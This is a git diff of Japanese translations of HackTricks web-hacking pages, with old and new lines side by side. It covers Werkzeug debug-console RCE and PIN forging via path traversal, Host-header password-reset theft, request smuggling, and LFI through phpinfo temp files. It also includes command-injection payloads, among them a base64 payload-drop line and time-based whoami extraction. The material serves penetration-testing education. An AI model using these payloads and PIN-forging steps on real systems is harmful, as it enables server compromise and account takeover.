<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure> <figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
**脆弱性評価とペネトレーションテストのための即時利用可能なセットアップ**。20以上のツールと機能を使用して、どこからでも完全なペンテストを実行できます。リコンからレポーティングまで対応しています。私たちはペンテスターを置き換えるのではなく、彼らがより深く掘り下げ、シェルをポップし、楽しむための時間を取り戻すためにカスタムツール、検出およびエクスプロイトモジュールを開発しています。 #### ハッカーの視点であなたのウェブアプリ、ネットワーク、クラウドを見つめる
**実際のビジネスに影響を与える重大で悪用可能な脆弱性を見つけて報告します。** 20以上のカスタムツールを使用して攻撃面をマッピングし、特権を昇格させるセキュリティ問題を見つけ、自動化されたエクスプロイトを使用して重要な証拠を収集し、あなたの努力を説得力のある報告書に変えます。
{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %} {% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %}
## コンソール RCE ## コンソールRCE
デバッグがアクティブな場合、`/console`にアクセスしてRCEを取得することを試みることができます。 デバッグがアクティブな場合、`/console`にアクセスしてRCEを取得することを試みることができます。
```python ```python
@ -33,31 +35,31 @@ __import__('os').popen('whoami').read();
## ピン保護 - パス・トラバーサル ## ピン保護 - パス・トラバーサル
場合によっては、**`/console`** エンドポイントがピンで保護されることがあります。**ファイルトラバーサル脆弱性**がある場合、そのピンを生成するために必要なすべての情報を漏洩させることができます。 場合によっては、**`/console`** エンドポイントがピンで保護されることがあります。**ファイルトラバーサル脆弱性**がある場合、そのピンを生成するために必要なすべての情報を漏洩させることができます。
### Werkzeug コンソール PIN エクスプロイト ### Werkzeug コンソール PIN エクスプロイト
アプリでデバッグエラーページを強制的に表示させて、これを確認します: アプリでデバッグエラーページを強制的に表示させて、これを確認します
``` ```
The console is locked and needs to be unlocked by entering the PIN. The console is locked and needs to be unlocked by entering the PIN.
You can find the PIN printed out on the standard output of your You can find the PIN printed out on the standard output of your
shell that runs the server shell that runs the server
``` ```
A message regarding the "console locked" scenario is encountered when attempting to access Werkzeug's debug interface, indicating a requirement for a PIN to unlock the console. The suggestion is made to exploit the console PIN by analyzing the PIN generation algorithm in Werkzeugs debug initialization file (`__init__.py`). The PIN generation mechanism can be studied from the [**Werkzeug source code repository**](https://github.com/pallets/werkzeug/blob/master/src/werkzeug/debug/\_\_init\_\_.py), though it is advised to procure the actual server code via a file traversal vulnerability due to potential version discrepancies. コンソールがロックされたシナリオに関するメッセージは、Werkzeugのデバッグインターフェースにアクセスしようとしたときに表示され、コンソールを解除するためにPINが必要であることを示しています。コンソールPINを悪用するために、Werkzeugのデバッグ初期化ファイル`__init__.py`におけるPIN生成アルゴリズムを分析することが提案されています。PIN生成メカニズムは、[**Werkzeugソースコードリポジトリ**](https://github.com/pallets/werkzeug/blob/master/src/werkzeug/debug/\_\_init\_\_.py)から調査できますが、バージョンの不一致の可能性があるため、実際のサーバーコードをファイルトラバーサル脆弱性を通じて取得することが推奨されます。
コンソールPINを悪用するには、2つの変数セット、`probably_public_bits` と `private_bits` が必要です: コンソールPINを悪用するには、`probably_public_bits`と`private_bits`の2セットの変数が必要です:
#### **`probably_public_bits`** #### **`probably_public_bits`**
* **`username`**: Flaskセッションを開始したユーザーを指します。 * **`username`**: Flaskセッションを開始したユーザーを指します。
* **`modname`**: 通常は `flask.app` と指定されます。 * **`modname`**: 通常は`flask.app`として指定されます。
* **`getattr(app, '__name__', getattr(app.__class__, '__name__'))`**: 一般的に **Flask** に解決されます。 * **`getattr(app, '__name__', getattr(app.__class__, '__name__'))`**: 一般的に**Flask**に解決されます。
* **`getattr(mod, '__file__', None)`**: Flaskディレクトリ内の `app.py` へのフルパスを表します(例: `/usr/local/lib/python3.5/dist-packages/flask/app.py`)。`app.py` が適用できない場合は、**`app.pyc` を試してください**。 * **`getattr(mod, '__file__', None)`**: Flaskディレクトリ内の`app.py`へのフルパスを表します(例:`/usr/local/lib/python3.5/dist-packages/flask/app.py`)。`app.py`が適用できない場合は、**`app.pyc`を試してください**。
#### **`private_bits`** #### **`private_bits`**
* **`uuid.getnode()`**: 現在のマシンのMACアドレスを取得し、`str(uuid.getnode())` がそれを10進数形式に変換します。 * **`uuid.getnode()`**: 現在のマシンのMACアドレスを取得し、`str(uuid.getnode())`がそれを10進数形式に変換します。
* **サーバーのMACアドレスを特定するには**、アプリで使用されているアクティブなネットワークインターフェース(例: `ens3`)を特定する必要があります。不明な場合は、**`/proc/net/arp` を漏洩させてデバイスIDを見つけ、次に **`/sys/class/net/<device id>/address`** からMACアドレスを抽出します * **サーバーのMACアドレスを特定するには**、アプリで使用されているアクティブなネットワークインターフェース(例:`ens3`)を特定する必要があります。不明な場合は、**`/proc/net/arp`をリークしてデバイスIDを見つけ、次に**`/sys/class/net/<device id>/address`から**MACアドレスを抽出します**
* 16進数のMACアドレスを10進数に変換する方法は以下の通りです * 16進数のMACアドレスを10進数に変換する方法は以下の通りです
```python ```python
@ -65,11 +67,11 @@ A message regarding the "console locked" scenario is encountered when attempting
>>> print(0x5600027a23ac) >>> print(0x5600027a23ac)
94558041547692 94558041547692
``` ```
* **`get_machine_id()`**: `/etc/machine-id` または `/proc/sys/kernel/random/boot_id` からのデータを、最後のスラッシュ(`/`)の後の `/proc/self/cgroup` の最初の行と連結します。 * **`get_machine_id()`**: `/etc/machine-id`または`/proc/sys/kernel/random/boot_id`からのデータを、最後のスラッシュ(`/`)の後の`/proc/self/cgroup`の最初の行と連結します。
<details> <details>
<summary>Code for `get_machine_id()`</summary> <summary>`get_machine_id()`のコード</summary>
```python ```python
def get_machine_id() -> t.Optional[t.Union[str, bytes]]: def get_machine_id() -> t.Optional[t.Union[str, bytes]]:
global _machine_id global _machine_id
@ -157,7 +159,7 @@ rv = num
print(rv) print(rv)
``` ```
このスクリプトは、連結されたビットをハッシュ化し、特定のソルト(`cookiesalt` と `pinsalt`を追加し、出力をフォーマットすることでPINを生成します。`probably_public_bits` と `private_bits` の実際の値は、生成されたPINがWerkzeugコンソールで期待されるものと一致するように、ターゲットシステムから正確に取得する必要があることに注意してください このスクリプトは、連結されたビットをハッシュ化し、特定のソルト(`cookiesalt` と `pinsalt`を追加し、出力をフォーマットすることでPINを生成します。`probably_public_bits` と `private_bits` の実際の値は、生成されたPINがWerkzeugコンソールで期待されるものと一致するように、ターゲットシステムから正確に取得する必要があることに注意することが重要です
{% hint style="success" %} {% hint style="success" %}
**古いバージョン**のWerkzeugを使用している場合は、**ハッシュアルゴリズムをsha1の代わりにmd5に変更**してみてください。 **古いバージョン**のWerkzeugを使用している場合は、**ハッシュアルゴリズムをsha1の代わりにmd5に変更**してみてください。
@ -165,9 +167,9 @@ print(rv)
## Werkzeug Unicode文字 ## Werkzeug Unicode文字
[**この問題**](https://github.com/pallets/werkzeug/issues/2833)で観察されたように、WerkzeugはヘッダーにUnicode文字が含まれるリクエストを閉じません。そして、[**この解説**](https://mizu.re/post/twisty-python)で説明されているように、これによりCL.0リクエストスムーングの脆弱性が発生する可能性があります。 [**この問題**](https://github.com/pallets/werkzeug/issues/2833)で観察されたように、WerkzeugはヘッダーにUnicode文字が含まれているリクエストを閉じません。そして、[**この解説**](https://mizu.re/post/twisty-python)で説明されているように、これによりCL.0リクエストスムーグリングの脆弱性が発生する可能性があります。
これは、Werkzeugではいくつかの**Unicode**文字を送信することが可能であり、それがサーバーを**壊す**ことになるからです。しかし、HTTP接続が**`Connection: keep-alive`**ヘッダーで作成された場合、リクエストのボディは読み取られず、接続はまだオープンのままとなり、リクエストの**ボディ**は**次のHTTPリクエスト**として扱われます。 これは、Werkzeugではいくつかの**Unicode**文字を送信することが可能であり、それがサーバーを**壊す**ことになるからです。しかし、HTTP接続が**`Connection: keep-alive`**ヘッダーで作成された場合、リクエストのボディは読み取られず、接続はまだオープンのままになるため、リクエストの**ボディ**は**次のHTTPリクエスト**として扱われます。
## 自動化された悪用 ## 自動化された悪用
@ -182,7 +184,9 @@ print(rv)
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure> <figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
**脆弱性評価とペネトレーションテストのための即時利用可能なセットアップ**。20以上のツールと機能を使用して、どこからでも完全なペンテストを実行できます。私たちはペンテスターを置き換えるのではなく、彼らに深く掘り下げ、シェルをポップし、楽しむための時間を戻すためにカスタムツール、検出および悪用モジュールを開発します。 #### ハッカーの視点からあなたのウェブアプリ、ネットワーク、クラウドを評価する
**実際のビジネスに影響を与える重大で悪用可能な脆弱性を見つけて報告します。** 20以上のカスタムツールを使用して攻撃面をマッピングし、特権を昇格させるセキュリティ問題を見つけ、自動化された悪用を使用して重要な証拠を収集し、あなたの努力を説得力のある報告書に変えます。
{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %} {% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %}
@ -195,7 +199,7 @@ GCPハッキングを学び、実践する<img src="/.gitbook/assets/grte.png
<summary>HackTricksをサポートする</summary> <summary>HackTricksをサポートする</summary>
* [**サブスクリプションプラン**](https://github.com/sponsors/carlospolop)を確認してください! * [**サブスクリプションプラン**](https://github.com/sponsors/carlospolop)を確認してください!
* **💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**Telegramグループ**](https://t.me/peass)に参加するか、**Twitter**で**フォロー**してください 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** * **💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**Telegramグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**をフォローしてください。**
* **ハッキングのトリックを共有するには、[**HackTricks**](https://github.com/carlospolop/hacktricks)および[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを提出してください。** * **ハッキングのトリックを共有するには、[**HackTricks**](https://github.com/carlospolop/hacktricks)および[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを提出してください。**
</details> </details>

View file

@ -1,38 +1,40 @@
# Other Web Tricks # Other Web Tricks
{% hint style="success" %} {% hint style="success" %}
AWSハッキングを学び、実践する<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\ Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
GCPハッキングを学び、実践する<img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte) Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details> <details>
<summary>HackTricksをサポートする</summary> <summary>Support HackTricks</summary>
* [**サブスクリプションプラン**](https://github.com/sponsors/carlospolop)を確認してください! * Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**Telegramグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**をフォローしてください。** * **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **[**HackTricks**](https://github.com/carlospolop/hacktricks)および[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを提出してハッキングトリックを共有してください。** * **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details> </details>
{% endhint %} {% endhint %}
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure> <figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
**脆弱性評価とペネトレーションテストのための即時利用可能なセットアップ**。20以上のツールと機能を使用して、どこからでも完全なペンテストを実行できます。私たちはペンテスターを置き換えるのではなく、彼らがより深く掘り下げ、シェルをポップし、楽しむための時間を取り戻すためにカスタムツール、検出および悪用モジュールを開発します。 #### Get a hacker's perspective on your web apps, network, and cloud
**重要な、悪用可能な脆弱性を見つけて報告します。** 20以上のカスタムツールを使用して攻撃面をマッピングし、特権を昇格させるセキュリティ問題を見つけ、自動化されたエクスプロイトを使用して重要な証拠を収集し、あなたの努力を説得力のある報告書に変えます。
{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %} {% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %}
### Host header ### Host header
バックエンドが**Host header**を信頼していくつかのアクションを実行することが何度かあります。たとえば、パスワードリセットを送信するための**ドメインとしてその値を使用する**ことがあります。したがって、パスワードをリセットするためのリンクを含むメールを受け取ったとき、使用されるドメインはHost headerに入力したものです。その後、他のユーザーのパスワードリセットをリクエストし、ドメインをあなたが制御するものに変更して、彼らのパスワードリセットコードを盗むことができます。[WriteUp](https://medium.com/nassec-cybersecurity-writeups/how-i-was-able-to-take-over-any-users-account-with-host-header-injection-546fff6d0f2)。 バックエンドが**Host header**を信頼していくつかのアクションを実行することが何度かあります。たとえば、パスワードリセットを送信する**ドメインとしてその値を使用する**ことがあります。したがって、パスワードをリセットするためのリンクを含むメールを受け取ったとき、使用されるドメインはHost headerに入力したものです。その後、他のユーザーのパスワードリセットを要求し、ドメインをあなたが制御するものに変更して、彼らのパスワードリセットコードを盗むことができます。[WriteUp](https://medium.com/nassec-cybersecurity-writeups/how-i-was-able-to-take-over-any-users-account-with-host-header-injection-546fff6d0f2)。
{% hint style="warning" %} {% hint style="warning" %}
ユーザーがリセットパスワードリンクをクリックするのを待つ必要がない場合もあることに注意してください。おそらく、**スパムフィルターや他の中間デバイス/ボットがそれをクリックして分析する**ためです ユーザーがリセットパスワードリンクをクリックするのを待つ必要がない場合もあることに注意してください。スパムフィルターや他の中間デバイス/ボットがそれをクリックして分析するかもしれません
{% endhint %} {% endhint %}
### Session booleans ### Session booleans
時々、いくつかの検証を正しく完了すると、バックエンドは**セキュリティ属性に「True」という値のブール値を追加するだけです**。その後、別のエンドポイントは、あなたがそのチェックに成功したかどうかを知ることができます。\ 時々、いくつかの検証を正しく完了すると、バックエンドは**セキュリティ属性に「True」という値のブール値を追加するだけです**。その後、別のエンドポイントは、あなたがそのチェックを成功裏に通過したかどうかを知ることができます。\
しかし、もしあなたが**チェックに合格し**、セキュリティ属性に「True」値が付与された場合、あなたは**同じ属性に依存する他のリソースにアクセスしようとすることができますが、アクセスする権限はないはずです**。[WriteUp](https://medium.com/@ozguralp/a-less-known-attack-vector-second-order-idor-attacks-14468009781a)。 しかし、もしあなたが**チェックを通過し**、セッションがそのセキュリティ属性に「True」値を付与された場合、あなたは**同じ属性に依存する他のリソースにアクセスしようとすることができます**が、あなたは**アクセス権を持っていないはずです**。[WriteUp](https://medium.com/@ozguralp/a-less-known-attack-vector-second-order-idor-attacks-14468009781a)。
### Register functionality ### Register functionality
@ -40,7 +42,7 @@ GCPハッキングを学び、実践する<img src="/.gitbook/assets/grte.png
### Takeover emails ### Takeover emails
メールを登録し、確認する前にメールを変更します。次に、新しい確認メールが最初に登録したメールに送信されると、任意のメールを乗っ取ることができます。また、最初のメールを確認するために2番目のメールを有効にできる場合も、任意のアカウントを乗っ取ることができます。 メールを登録し、確認する前にメールを変更します。次に、新しい確認メールが最初に登録されたメールに送信される場合、任意のメールを乗っ取ることができます。また、2番目のメールが最初のメールを確認することを有効にできる場合、任意のアカウントを乗っ取ることもできます。
### Access Internal servicedesk of companies using atlassian ### Access Internal servicedesk of companies using atlassian
@ -48,28 +50,30 @@ GCPハッキングを学び、実践する<img src="/.gitbook/assets/grte.png
### TRACE method ### TRACE method
開発者は、プロダクション環境でさまざまなデバッグオプションを無効にするのを忘れることがあります。たとえば、HTTP `TRACE`メソッドは診断目的で設計されています。これが有効になっている場合、Webサーバーは`TRACE`メソッドを使用したリクエストに対して、受信した正確なリクエストを応答にエコーします。この動作は通常無害ですが、時折、リバースプロキシによってリクエストに追加される内部認証ヘッダーの名前など、情報漏洩につながることがあります。![Image for post](https://miro.medium.com/max/60/1\*wDFRADTOd9Tj63xucenvAA.png?q=20) 開発者は、プロダクション環境でさまざまなデバッグオプションを無効にするのを忘れることがあります。たとえば、HTTP `TRACE`メソッドは診断目的で設計されています。これが有効になっている場合、Webサーバーは`TRACE`メソッドを使用するリクエストに対して、受信した正確なリクエストを応答にエコーします。この動作は通常無害ですが、時折、リバースプロキシによってリクエストに追加される内部認証ヘッダーの名前など、情報漏洩につながることがあります。![Image for post](https://miro.medium.com/max/60/1\*wDFRADTOd9Tj63xucenvAA.png?q=20)
![Image for post](https://miro.medium.com/max/1330/1\*wDFRADTOd9Tj63xucenvAA.png) ![Image for post](https://miro.medium.com/max/1330/1\*wDFRADTOd9Tj63xucenvAA.png)
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure> <figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
**脆弱性評価とペネトレーションテストのための即時利用可能なセットアップ**。20以上のツールと機能を使用して、どこからでも完全なペンテストを実行できます。私たちはペンテスターを置き換えるのではなく、彼らがより深く掘り下げ、シェルをポップし、楽しむための時間を取り戻すためにカスタムツール、検出および悪用モジュールを開発します。 #### Get a hacker's perspective on your web apps, network, and cloud
**重要な、悪用可能な脆弱性を見つけて報告します。** 20以上のカスタムツールを使用して攻撃面をマッピングし、特権を昇格させるセキュリティ問題を見つけ、自動化されたエクスプロイトを使用して重要な証拠を収集し、あなたの努力を説得力のある報告書に変えます。
{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %} {% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %}
{% hint style="success" %} {% hint style="success" %}
AWSハッキングを学び、実践する<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\ Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
GCPハッキングを学び、実践する<img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte) Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details> <details>
<summary>HackTricksをサポートする</summary> <summary>Support HackTricks</summary>
* [**サブスクリプションプラン**](https://github.com/sponsors/carlospolop)を確認してください! * Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**Telegramグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**をフォローしてください。** * **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **[**HackTricks**](https://github.com/carlospolop/hacktricks)および[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを提出してハッキングトリックを共有してください。** * **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details> </details>
{% endhint %} {% endhint %}

View file

@ -10,21 +10,22 @@ GCPハッキングを学び、実践する<img src="/.gitbook/assets/grte.png
* [**サブスクリプションプラン**](https://github.com/sponsors/carlospolop)を確認してください! * [**サブスクリプションプラン**](https://github.com/sponsors/carlospolop)を確認してください!
* **💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**Telegramグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**をフォローしてください。** * **💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**Telegramグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**をフォローしてください。**
* **ハッキングトリックを共有するには、[**HackTricks**](https://github.com/carlospolop/hacktricks)および[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを提出してください。** * **ハッキングトリックを共有するには、[**HackTricks**](https://github.com/carlospolop/hacktricks)[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを提出してください。**
</details> </details>
{% endhint %} {% endhint %}
<figure><img src="../.gitbook/assets/image (48).png" alt=""><figcaption></figcaption></figure> <figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
[**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_term=trickest&utm_content=command-injection)を使用して、世界で最も先進的なコミュニティツールによって駆動される**ワークフローを簡単に構築し、自動化**します。\ #### ハッカーの視点からあなたのウェブアプリ、ネットワーク、クラウドを見つめる
今すぐアクセスを取得:
{% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=command-injection" %} **実際のビジネスに影響を与える重大で悪用可能な脆弱性を見つけて報告します。** 20以上のカスタムツールを使用して攻撃面をマッピングし、特権を昇格させるセキュリティ問題を見つけ、自動化されたエクスプロイトを使用して重要な証拠を収集し、あなたの努力を説得力のある報告書に変えます。
{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %}
## コマンドインジェクションとは? ## コマンドインジェクションとは?
**コマンドインジェクション**は、攻撃者がアプリケーションをホストしているサーバー上で任意のオペレーティングシステムコマンドを実行することを許可します。その結果、アプリケーションとそのすべてのデータが完全に侵害される可能性があります。これらのコマンドの実行により、攻撃者はアプリケーションの環境および基盤となるシステムへの不正アクセスまたは制御を得ることができます。 **コマンドインジェクション**は、攻撃者がアプリケーションをホストしているサーバー上で任意のオペレーティングシステムコマンドを実行することを許可します。その結果、アプリケーションとそのすべてのデータが完全に侵害される可能性があります。これらのコマンドの実行により、攻撃者はアプリケーションの環境や基盤となるシステムに対する不正アクセスまたは制御を得ることができます。
### コンテキスト ### コンテキスト
@ -95,7 +96,7 @@ vuln=echo PAYLOAD > /tmp/pay.txt; cat /tmp/pay.txt | base64 -d > /tmp/pay; chmod
``` ```
### 時間ベースのデータ抽出 ### 時間ベースのデータ抽出
データの抽出: 文字ごとに データを抽出する: 文字ごとに
``` ```
swissky@crashlab▸ ~ ▸ $ time if [ $(whoami|cut -c 1) == s ]; then sleep 5; fi swissky@crashlab▸ ~ ▸ $ time if [ $(whoami|cut -c 1) == s ]; then sleep 5; fi
real 0m5.007s real 0m5.007s
@ -147,8 +148,8 @@ powershell C:**2\n??e*d.*? # notepad
* [https://portswigger.net/web-security/os-command-injection](https://portswigger.net/web-security/os-command-injection) * [https://portswigger.net/web-security/os-command-injection](https://portswigger.net/web-security/os-command-injection)
{% hint style="success" %} {% hint style="success" %}
AWSハッキングを学び、練習する:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\ AWSハッキングを学び、実践する:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
GCPハッキングを学び、練習する:<img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte) GCPハッキングを学び、実践する:<img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details> <details>
@ -161,10 +162,10 @@ GCPハッキングを学び、練習する<img src="/.gitbook/assets/grte.png
</details> </details>
{% endhint %} {% endhint %}
<figure><img src="../.gitbook/assets/image (48).png" alt=""><figcaption></figcaption></figure> <figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
\ #### あなたのウェブアプリ、ネットワーク、クラウドに対するハッカーの視点を得る
[**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_term=trickest&utm_content=command-injection)を使用して、世界で最も高度なコミュニティツールによって駆動される**ワークフローを簡単に構築し、自動化**します。\
今すぐアクセスを取得:
{% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=command-injection" %} **実際のビジネスに影響を与える重大で悪用可能な脆弱性を見つけて報告します。** 20以上のカスタムツールを使用して攻撃面をマッピングし、特権を昇格させるセキュリティ問題を見つけ、自動化されたエクスプロイトを使用して重要な証拠を収集し、あなたの努力を説得力のある報告書に変えます。
{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %}

View file

@ -13,14 +13,22 @@ Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-s
</details> </details>
{% endhint %} {% endhint %}
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
#### ハッカーの視点であなたのウェブアプリ、ネットワーク、クラウドを評価する
**実際のビジネスに影響を与える重大で悪用可能な脆弱性を見つけて報告します。** 20以上のカスタムツールを使用して攻撃面をマッピングし、特権を昇格させるセキュリティ問題を見つけ、自動化されたエクスプロイトを使用して重要な証拠を収集し、あなたの努力を説得力のある報告書に変えます。
{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %}
この脆弱性を悪用するには、**LFI脆弱性、phpinfo()が表示されるページ、"file\_uploads = on"、およびサーバーが"/tmp"ディレクトリに書き込むことができる必要があります。** この脆弱性を悪用するには、**LFI脆弱性、phpinfo()が表示されるページ、"file\_uploads = on"、およびサーバーが"/tmp"ディレクトリに書き込むことができる必要があります。**
[https://www.insomniasec.com/downloads/publications/phpinfolfi.py](https://www.insomniasec.com/downloads/publications/phpinfolfi.py) [https://www.insomniasec.com/downloads/publications/phpinfolfi.py](https://www.insomniasec.com/downloads/publications/phpinfolfi.py)
**Tutorial HTB**: [https://www.youtube.com/watch?v=rs4zEwONzzk\&t=600s](https://www.youtube.com/watch?v=rs4zEwONzzk\&t=600s) **チュートリアル HTB**: [https://www.youtube.com/watch?v=rs4zEwONzzk\&t=600s](https://www.youtube.com/watch?v=rs4zEwONzzk\&t=600s)
エクスプロイトを修正する必要があります(**=>**を**=>**に変更)。そのためには、次のようにできます: エクスプロイトを修正する必要があります(**=>**を**=>**に変更)。そのためには、次のようにできます:
``` ```
sed -i 's/\[tmp_name\] \=>/\[tmp_name\] =\&gt/g' phpinfolfi.py sed -i 's/\[tmp_name\] \=>/\[tmp_name\] =\&gt/g' phpinfolfi.py
``` ```
@ -32,15 +40,15 @@ You have to change also the **payload** at the beginning of the exploit (for a p
もしPHPでアップロードが許可されていて、ファイルをアップロードしようとすると、このファイルはサーバーがリクエストの処理を終えるまで一時ディレクトリに保存され、その後この一時ファイルは削除されます。 もしPHPでアップロードが許可されていて、ファイルをアップロードしようとすると、このファイルはサーバーがリクエストの処理を終えるまで一時ディレクトリに保存され、その後この一時ファイルは削除されます。
次に、ウェブサーバーにLFI脆弱性が見つかった場合、一時ファイルの名前を推測して、削除される前に一時ファイルにアクセスしてRCEを悪用することができます。 次に、ウェブサーバーにLFI脆弱性が見つかった場合、一時ファイルの名前を推測し、そのファイルにアクセスしてRCEを悪用することができます。
**Windows**では、ファイルは通常**C:\Windows\temp\php**に保存されます。 **Windows**では、ファイルは通常**C:\Windows\temp\php**に保存されます。
